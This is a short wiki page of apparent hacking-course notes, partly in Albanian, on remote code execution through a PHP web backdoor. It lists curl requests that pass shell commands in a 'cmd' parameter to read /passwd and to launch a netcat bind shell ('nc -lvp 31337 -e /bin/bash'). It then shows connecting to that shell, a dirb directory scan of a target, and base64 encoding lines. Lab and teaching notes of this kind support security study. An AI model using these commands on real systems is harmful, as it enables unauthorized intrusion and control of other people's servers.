User Tools

Site Tools


cyberdocs:backdoor_rce_using_curl
###backdoor, remote code execution, intro###
Example 1
curl https://google.com ##Lexon kontentin
curl https://google.com/x.php?cmd\=cat+/passwd
cmd\=cat+/passwd
cmd\=cat+/
curl http://172.16.60.59/run.php\?cmd\=nc+-lvp+31337+-e+/bin/bash
Example 2

nje Ip me hack, enumeration, to get access, verify

-e gjen linkun problematik me dirb ( directory browse)
# dirb http://172.16.60.85

-e bon run skipten ne file e dyshimt per ta hap session
root@CyberACAD:/home/dardan# curl http://172.16.60.59/index.php\?cmd\=nc+-lvp+31337+-e+/bin/bash
-per tju qas sessionit te hapur me lart
dardan@CyberACAD:~$ nc 172.16.60.59 31337
  
echo 'index.php' | base64     ## encode
echo 'aW5kZXgucGhwCg==' | base64 -d  ## decode
cyberdocs/backdoor_rce_using_curl.txt · Last modified: 2019/02/06 14:46 by dardan

Donate Powered by PHP Valid HTML5 Valid CSS Driven by DokuWiki